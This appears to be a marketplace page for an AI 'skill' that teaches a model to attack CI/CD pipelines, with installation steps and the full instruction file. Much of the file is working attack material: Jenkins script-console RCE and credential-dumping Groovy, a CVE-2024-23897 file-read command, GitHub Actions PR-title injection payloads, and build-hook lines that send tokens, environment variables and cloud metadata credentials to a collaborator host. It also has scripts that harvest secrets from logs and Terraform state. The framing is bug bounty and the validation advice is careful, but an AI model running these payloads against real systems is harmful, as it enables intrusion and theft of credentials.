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Hunt Cicd

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elementalsouls
hunt-cicd

Hunt CI/CD pipeline vulnerabilities — GitHub Actions workflow injection (pull_request_target Pwnrequest + ${{ }}-into-shell), self-hosted runner poisoning, OIDC trust-policy abuse, Jenkins script-console RCE and CVE-2024-23897 file read, GitLab CI runner-token registration, Terraform state file leakage, artifact/log secret leakage, pipeline env-var disclosure. Use when target has a public GitHub/GitLab org, exposed CI dashboards (Jenkins/TeamCity/Drone/Argo), or build artifacts/images are reachable.

Overview

Publisherelementalsouls
RepositoryClaude-BugHunter
Skill namehunt-cicd
Stars
4.5K
Forks
678
Bundled files
Instructions only
LicenseMIT
Links
  • Markdown instructions

    A SKILL.md file the model loads on demand, so it only costs tokens when a request actually matches.

  • Works with any LLM

    AI skills are plain Markdown, not provider-specific code, so this works with GPT, Claude, Gemini, Grok, or a local model.

  • Self-contained

    Everything the model needs lives in the instructions — no extra files to sync.

  • Open source

    Published by elementalsouls on GitHub. Read the source before you install it.

Installation

Install the Hunt Cicd AI skill in TypingMind to use it with any LLM, or drop it into another agent that reads SKILL.md.

1

Install in TypingMind

TypingMind installs a skill straight from its GitHub folder — it reads SKILL.md, bundles the resource files, and stores the result locally.

  1. Open the app and go to Plugins → Skills.
  2. Choose "Install from GitHub".
  3. Paste the skill folder URL below and confirm.
  4. Enable the skill in any chat where you want it available.
Plugins → Skills → Add skill → From GitHub URL, then paste the folder URL and press Continue.
2

Install in another agent

Any agent that reads the Agent Skills format can use this skill — copy the folder into that agent's skills directory.

Claude Code — .claude/skills
git clone --depth 1 https://github.com/elementalsouls/Claude-BugHunter.git /tmp/Claude-BugHunter
mkdir -p .claude/skills
cp -r /tmp/Claude-BugHunter/skills/hunt-cicd .claude/skills/hunt-cicd
Restart Claude Code after copying so it picks up the new skill.

Use it in TypingMind

Enable Hunt Cicd in any TypingMind chat and the model takes it from there. Its name and description sit in the system prompt, and the moment a request matches, the model loads the full instructions itself — you never invoke it by hand, and it costs no tokens until it is actually used.

The model loads Hunt Cicd on its own as soon as a request matches it.

Works with any AI model

AI skills are plain Markdown instructions rather than provider-specific code, so Hunt Cicd is not tied to the model it was written for. Install it once in TypingMind and use it with GPT-5, Claude, Gemini, Grok, DeepSeek, Mistral, Llama, or a local model you run yourself — all on your own API keys.

  • Loaded only when it is needed

    The system prompt carries just the name and description. The instructions are fetched on the first matching request, so an idle skill costs nothing.

  • Switch models mid-chat

    Because the skill is instructions rather than code, changing model does not break it — the next model reads the same SKILL.md.

Skill instructions

This is the SKILL.md content the model loads. Read it before installing — a skill is instructions your model will follow.

HUNT-CICD — CI/CD Pipeline Security

Crown Jewel Targets

Jenkins /script console reachable = immediate RCE. A GitHub Actions pull_request_target (or workflow_run) workflow that checks out the PR head ref and references untrusted ${{ github.event.* }} in a shell run: = "Pwnrequest" → secret exfil from a fork PR with zero approval.

Highest-value findings:

  • Jenkins Script Console — Groovy execution → full RCE → dump the credential store
  • Jenkins CLI file read (CVE-2024-23897) — pre-auth @/etc/passwd arg expansion → read secret.key/credentials.xml → forge admin → RCE
  • GitHub Actions pull_request_target injection (Pwnrequest) — fork PR controls ${{ }} inside a privileged shell step → exfil GITHUB_TOKEN (often contents:write) and org secrets
  • Self-hosted runner poisoning — non-ephemeral runner on a public repo executes a fork PR's build → attacker code runs on the runner host → persistence + secret theft
  • OIDC trust-policy abuse — over-broad sub claim wildcard in an AWS IAM role trust policy → any workflow in the org assumes a privileged cloud role
  • Terraform state leakage*.tfstate in public S3/GCS/Blob → plaintext infra creds, DB passwords, private keys
  • Runner token / artifact / log leakage — register attacker runner, or harvest secrets printed before ::add-mask::

"It-Didn't-Happen-Without-Proof" Gate (Read First)

CI/CD findings are over-reported because dashboards look exploitable. Before claiming anything:

  1. A login page is not an RCE. A reachable /script URL that returns a Jenkins login or 403 is not an unauthenticated script console. Only an actual scriptText POST returning your command's output counts.
  2. A pull_request_target workflow is not automatically injectable. It is only exploitable if untrusted data flows into an execution sink. Confirm the data flow (see FP section) before you ever open a PR.
  3. Blind injection requires OOB. If the vulnerable step has no output you can read, you MUST confirm via Burp Collaborator / interactsh — a unique per-sink subdomain that the runner calls out to. A workflow that "ran green" is not proof your code executed.
  4. A .tfstate HTTP 200 is not cred exposure until you parse it. Diff against a baseline (see FP section) — many tfstate files contain only resource IDs and outputs, no secrets.

Phase 1 — Jenkins: Detection, Script Console, CVE-2024-23897

bash
# Fingerprint — the X-Jenkins header leaks the exact version (drives CVE selection)
curl -sI "https://$TARGET/" | grep -iE "x-jenkins|x-hudson"
curl -sI "https://$TARGET/login" | grep -i "x-jenkins-session"
for p in /script /jenkins/script /ci/script /scriptText /jenkins/scriptText; do
  code=$(curl -s -o /dev/null -w "%{http_code}" "https://$TARGET$p")
  echo "$p -> $code"   # 200 on /script == anon script console; 403/401 == auth required (NOT a finding alone)
done

Unauthenticated script console → RCE (only if the POST returns output):

bash
# This must return uid=...(jenkins). If it returns the Jenkins login HTML or a
# Crowd/SSO error page, the console is NOT anon-accessible — do not report it.
curl -s -X POST "https://$TARGET/scriptText" \
  --data-urlencode 'script=println "id".execute().text'

Dump the credential store (Groovy decrypts secrets the UI masks):

groovy
import com.cloudbees.plugins.credentials.CredentialsProvider
import com.cloudbees.plugins.credentials.common.StandardUsernamePasswordCredentials
import org.jenkinsci.plugins.plaincredentials.StringCredentials
CredentialsProvider.lookupCredentials(StandardUsernamePasswordCredentials, jenkins.model.Jenkins.instance).each {
  println "${it.id} :: ${it.username} :: ${it.password}"
}
CredentialsProvider.lookupCredentials(StringCredentials, jenkins.model.Jenkins.instance).each {
  println "${it.id} :: ${it.secret}"
}

CVE-2024-23897 — pre-auth arbitrary file read via Jenkins CLI (args4j @-file expansion; affects ≤2.441 / LTS ≤2.426.2). With anonymous read, this escalates to RCE by reading secret.key + master.key to decrypt credentials.xml, or reading a user's config.xml API token:

bash
# Download the matching jenkins-cli.jar from /jnlpJars/jenkins-cli.jar first.
java -jar jenkins-cli.jar -s "https://$TARGET/" -http connect-node "@/etc/passwd"
# The file content is echoed back in the error. Then target:
#   @/var/lib/jenkins/secret.key  @/var/lib/jenkins/secrets/master.key
#   @/var/lib/jenkins/credentials.xml

Validation: the response must contain real file content (root:x:0:0). A generic "no such agent" with no leaked line means the instance is patched or the path is wrong — not a finding.


Phase 2 — GitHub Actions: Pwnrequest, ${{ }}-into-Shell, Runner Poisoning, OIDC

The core distinction (this is where 90% of false PoCs die)

There are two sink classes — they need different payloads:

  • ${{ }} template expansion into a shell run: — the expression is substituted into the script before the shell runs, so a newline/backtick/$(...) in the untrusted field becomes literal shell. This is the classic injection.
  • Environment variable read inside the shellGITHUB_TOKEN, secrets.X, and any env:-mapped value are shell variables whose value IS the string. To exfiltrate them you use echo/printenv, never cat $VAR (that tries to open a file named by the token and prints nothing).
yaml
# VULNERABLE workflow (untrusted title flows into the script text):
on: pull_request_target            # runs with write token + secrets, on fork PRs
jobs:
  build:
    steps:
      - uses: actions/checkout@v4
        with: { ref: ${{ github.event.pull_request.head.sha }} }   # checks out ATTACKER code
      - run: echo "Building PR ${{ github.event.pull_request.title }}"   # ← ${{ }} INJECTION

Attack via the ${{ }} sink — set the PR title (or branch name, body, label, commit message — all attacker-controlled) to break out of the echo and run your own commands. Exfiltrate the token with printenv, not cat:

PR title:  a"; printenv GITHUB_TOKEN | base64 | tr -d '\n' | { read T; curl "https://x.<COLLAB>/?t=$T"; }; echo "

For a multi-line YAML run:, a newline injection is cleaner:

PR title:  foo\n      curl https://x.<COLLAB>/?d=$(printenv | base64 -w0)

Attack via a poisoned checkout (no ${{ }} needed) — if pull_request_target checks out the PR head and then runs a build script / installs deps from the checked-out tree (make, npm ci with a malicious preinstall, a Makefile, a .github/ action in the PR), the runner executes attacker code directly. Drop into any build hook:

bash
# in attacker's PR, e.g. package.json preinstall or Makefile:
curl -s "https://x.<COLLAB>/?env=$(printenv | base64 -w0)"
cat /proc/self/environ | tr '\0' '\n' | base64 -w0   # captures secrets injected as env

Self-hosted runner poisoning — if runs-on: self-hosted (or a custom label) on a public repo with pull_request/pull_request_target, a fork PR's job runs on the org's own host. Non-ephemeral runners persist tools/creds between jobs. Confirm by reading the runner's identity and metadata from inside the job:

bash
- run: |
    whoami; hostname; id
    curl -s "https://x.<COLLAB>/?h=$(hostname)&u=$(whoami)"
    curl -s "https://x.<COLLAB>/imds=$(curl -s --max-time 2 http://169.254.169.254/latest/meta-data/iam/security-credentials/ | base64 -w0)"

OIDC trust-policy abuse — workflows that configure-aws-credentials via OIDC assume an IAM role. A trust policy whose token.actions.githubusercontent.com:sub condition is missing or uses a loose wildcard (repo:ORG/*:*) lets any workflow in the org (including a malicious one you can merge, or a fork on a misconfigured trigger) assume that role. Inspect the role:

bash
aws iam get-role --role-name <RoleName> --query 'Role.AssumeRolePolicyDocument'
# Red flag: StringLike on sub with "repo:ORG/*" or no sub condition at all (only aud).

Then prove it: from a workflow you control in-org, assume the role and run aws sts get-caller-identity returning the privileged role ARN.

Recon

bash
# Enumerate org workflows that use the dangerous triggers
gh api graphql -f query='{organization(login:"ORG"){repositories(first:100){nodes{name}}}}' \
  | jq -r '.data.organization.repositories.nodes[].name' | while read r; do
  for wf in $(gh api "repos/ORG/$r/contents/.github/workflows" 2>/dev/null | jq -r '.[]?.name'); do
    body=$(gh api "repos/ORG/$r/contents/.github/workflows/$wf" 2>/dev/null | jq -r '.content' | base64 -d)
    echo "$body" | grep -Eq 'pull_request_target|workflow_run' && \
      echo "$body" | grep -Eq '\$\{\{ *github\.event|self-hosted|head\.ref|head\.sha' && \
      echo "CANDIDATE: ORG/$r/$wf"
  done
done

Triage candidates with the static analyzer before opening any PR: gh extension install rhysd/actionlint or run zizmor (pip install zizmor; zizmor .github/workflows/) which flags template-injection and dangerous-checkout patterns specifically.


Actions cache poisoning

The GitHub Actions cache is not trust-isolated across branches by default: a workflow from an attacker branch/fork PR can write a cache entry (key or restore-key) that a later privileged workflow on the default branch restores, injecting attacker files (built binaries, deps, scripts) into a trusted build -> code execution in the privileged context. Check for cache actions keyed on attacker-influenced values, and whether privileged pipelines restore-keys a prefix an untrusted job can populate.

Phase 3 — Secrets in Logs & Artifacts

bash
# Public-repo run logs frequently contain secrets printed BEFORE ::add-mask:: took effect,
# or echoed via debug. The masker only hides exact known values — derived/base64 forms slip through.
gh api "repos/ORG/REPO/actions/runs" | jq -r '.workflow_runs[:20][].id' | while read id; do
  gh api "repos/ORG/REPO/actions/runs/$id/logs" > /tmp/r.zip 2>/dev/null && \
  unzip -o -q /tmp/r.zip -d /tmp/runlogs && \
  grep -rniE 'AKIA[0-9A-Z]{16}|ghp_[A-Za-z0-9]{36}|-----BEGIN|eyJ[A-Za-z0-9_-]{10,}\.' /tmp/runlogs
done

# Artifacts — env dumps, .env, kubeconfig, built binaries with embedded secrets
gh api "repos/ORG/REPO/actions/artifacts" | jq -r '.artifacts[] | "\(.id) \(.name)"'

Note actions/upload-artifact does not redact secrets — an artifact named env/debug is a common direct leak.


Phase 4 — GitLab CI

bash
# Runner registration token → register an attacker runner that picks up jobs (and their secrets).
# Found in config.toml (via LFI/disclosure), screenshots, /admin/runners, or leaked CI logs.
curl -s "https://$TARGET/api/v4/projects/PID/variables" -H "PRIVATE-TOKEN: $TOK"   # masked? protected?
curl -s "https://$TARGET/api/v4/runners?type=instance_type" -H "PRIVATE-TOKEN: $TOK"

# .gitlab-ci.yml review: unmasked variables, `CI_JOB_TOKEN` over-permission,
# `rules:` that run privileged jobs on MRs from forks (the GitLab analogue of pull_request_target).
curl -s "https://$TARGET/api/v4/projects/PID/repository/files/.gitlab-ci.yml/raw?ref=main"

A registration token alone is not a finding unless the instance allows that token to register a runner that will execute a target project's pipeline. Demonstrate by registering an ephemeral runner you own and capturing a job's masked variables.


Phase 5 — Terraform State Leakage

bash
# Probe common public-bucket/path patterns (parameterize $T and $ORG)
for U in \
  "https://$ORG.s3.amazonaws.com/terraform.tfstate" \
  "https://s3.amazonaws.com/$ORG-tfstate/terraform.tfstate" \
  "https://$ORG-infra.s3.amazonaws.com/env/prod/terraform.tfstate" \
  "https://storage.googleapis.com/$ORG-tfstate/default.tfstate" \
  "https://$ORG.blob.core.windows.net/tfstate/terraform.tfstate" ; do
  code=$(curl -s -o /tmp/tf.json -w "%{http_code}" "$U")
  [ "$code" = "200" ] && echo "[+] 200 $U" && \
    jq -r '.resources[].instances[].attributes
           | to_entries[] | select(.key|test("password|secret|private_key|token|access_key";"i"))
           | "\(.key) = \(.value)"' /tmp/tf.json 2>/dev/null
done
# Also hunt state in repos / backend configs
gh search code --owner ORG "terraform.tfstate" --limit 10
gh search code --owner ORG 'backend "s3"' --limit 10

False-positive filter: a tfstate that lists only id, arn, tags is not a secret leak. Run the jq above and confirm at least one live credential (a real password, private_key, RDS master password, or non-rotated access key). Then prove impact by using that credential read-only (aws sts get-caller-identity, a DB connect that returns a banner) — do not just claim "creds in state."


Phase 6 — Build Artifact / Image Analysis

bash
docker pull ORG/IMAGE:latest
docker history --no-trunc ORG/IMAGE:latest | grep -iE 'ENV|ARG|secret|token|password|key'
# Layer-level scan catches secrets removed in a later layer but still present in history:
trufflehog docker --image ORG/IMAGE:latest --only-verified

--only-verified filters trufflehog to credentials it could actually authenticate — use it to drop the noise of expired/example keys before reporting.


Grounded References (named cases / CVEs)

  • Pwnrequest / pull_request_target class — GitHub Security Lab (Jaroslav Lobačevski), "Keeping your GitHub Actions and workflows secure: Untrusted input." The original write-up of fork-PR secret exfil and the dangerous-checkout pattern.
  • GitHub Actions workflow-command injection — CVE-2020-15228set-env/add-path workflow commands allowed env/PATH injection from logged output; this drove the deprecation of those commands and the move to $GITHUB_ENV.
  • Jenkins CLI arbitrary file read — CVE-2024-23897 — args4j @-prefixed file expansion (Jenkins ≤2.441 / LTS ≤2.426.2), read secret.key/credentials.xml → admin → RCE.
  • Jenkins Stapler RCE — CVE-2018-1000861 — dynamic routing reaches groovy.lang.GroovyShell; a staple of the unauth script-execution chain on older Jenkins.
  • PortSwigger / Liam Galvin & others — research on GitHub Actions injection sinks (title/branch/body/label) and the ${{ }}-into-run template-substitution vector; the basis of the actionlint/zizmor detection rules cited above.

(Only CVEs and cases I can attribute exactly are listed. Confirm the running version against the CVE's affected range before claiming it.)


Chain Table

CI/CD findingChain toImpact
Jenkins anon script consoleDump credential store → cloud/DB creds → lateralCritical
Jenkins CLI file read (CVE-2024-23897)Read secret.key+credentials.xml → forge admin → RCECritical
Actions ${{ }} injection (Pwnrequest)printenv GITHUB_TOKEN/secrets → push to protected branchCritical
Self-hosted runner poisoningCode-exec on runner host → IMDS creds → persistenceCritical
OIDC sub wildcardAssumeRole privileged cloud role from any org workflowCritical
Terraform state w/ live credsInfra/DB/API credential useCritical
GitLab runner registrationRegister runner → capture pipeline secretsHigh/Critical
Image/log/artifact secretDirect credential useHigh

Validation Discipline (per finding, before you report)

  • Jenkins console: the scriptText POST returns your id output (uid=…(jenkins)). A returned login/SSO/Crowd page = not anon access. Screenshot the request+response.
  • CVE-2024-23897: response contains real /etc/passwd content; confirm version is in range. Patched instances return an error with no leaked line.
  • Actions injection: confirm the data flow into a sink first (FP section). Blind step → Collaborator callback with the runner's source IP is mandatory. Token exfil via printenv//proc/self/environ decoded at your endpoint — never cat $GITHUB_TOKEN.
  • OIDC abuse: aws sts get-caller-identity from your controlled workflow returns the privileged role ARN — not just a permissive-looking trust policy.
  • Terraform state: jq extraction yields ≥1 live secret, then a read-only auth proves it. ID/ARN-only state = no finding.
  • Runner token / image / logs: demonstrate the secret authenticates (trufflehog --only-verified, or a real API call) — possession of a string is not impact.

Common false positives to retract

  • /script returning a login page (auth required) reported as "unauth RCE."
  • pull_request_target present but untrusted input never reaches a sink (e.g., used only in if: on github.actor, or the workflow uses pull_request not _target).
  • ${{ }} reference that is already wrapped in an env: block and quoted in the shell (the recommended safe pattern) — not injectable.
  • .tfstate 200 containing only resource metadata.
  • A masked GitLab variable that is protected and only exposed to protected branches the attacker can't push to.
  • Trufflehog "unverified" hits that are example/expired keys.

Severity: Jenkins console / CVE-2024-23897 / Actions secret exfil / runner poisoning / OIDC role assumption / Terraform live creds = Critical. Image/log/artifact secret = High/Critical by credential scope.

Frequently asked questions

What does the Hunt Cicd AI skill do?

Hunt CI/CD pipeline vulnerabilities — GitHub Actions workflow injection (pull_request_target Pwnrequest + ${{ }}-into-shell), self-hosted runner poisoning, OIDC trust-policy abuse, Jenkins script-console RCE and CVE-2024-23897 file read, GitLab CI runner-token registration, Terraform state file leakage, artifact/log secret leakage, pipeline env-var disclosure. Use when target has a public GitHub/GitLab org, exposed CI dashboards (Jenkins/TeamCity/Drone/Argo), or build artifacts/images are reachable.

Why use Hunt Cicd on TypingMind?

Because you install it once and use it with any model. Hunt Cicd is plain Markdown rather than provider-specific code, so the same skill runs on GPT-5, Claude, Gemini, Grok, or a local model — and you can switch model mid-chat without it breaking. TypingMind runs on your own API keys, so you pay providers directly instead of a per-seat subscription, and your skills and chats stay in your own storage.

How do I install Hunt Cicd in TypingMind?

Open Plugins → Skills → Install from GitHub in TypingMind and paste https://github.com/elementalsouls/Claude-BugHunter/tree/main/skills/hunt-cicd. TypingMind reads its SKILL.md and installs it as a skill you can enable per chat.

Which AI models can use Hunt Cicd?

Any model you connect in TypingMind. AI skills are plain Markdown instructions rather than provider-specific code, so GPT, Claude, Gemini, Grok, and local models can all load this skill when a request matches it.

How many AI models can I use with Hunt Cicd?

As many as you like. As long as a model supports skills, you can use Hunt Cicd with it — GPT, Claude, Gemini, Grok, DeepSeek, Mistral, Llama and more — all on TypingMind with your own API keys.

Is the Hunt Cicd AI skill free?

Yes. It is published on GitHub by elementalsouls under the MIT license. You only pay your own AI provider for the tokens you use.

What are AI skills?

An AI skill is a reusable instruction bundle that teaches an AI model how to do one specific task. It follows the open Agent Skills format: a SKILL.md file with a name and description, plus any scripts, templates or reference files the model may need. The model reads the instructions only when your request matches the skill, so an installed skill costs nothing until it is used.

How are AI skills different from plugins or MCP servers?

A plugin or MCP server gives a model new tools to call — code that runs somewhere and returns a result. An AI skill gives the model knowledge and process instead: how to approach a task, which steps to follow, what good output looks like. Skills are plain Markdown, so they need no server, no API key and no runtime, and they work with any model.

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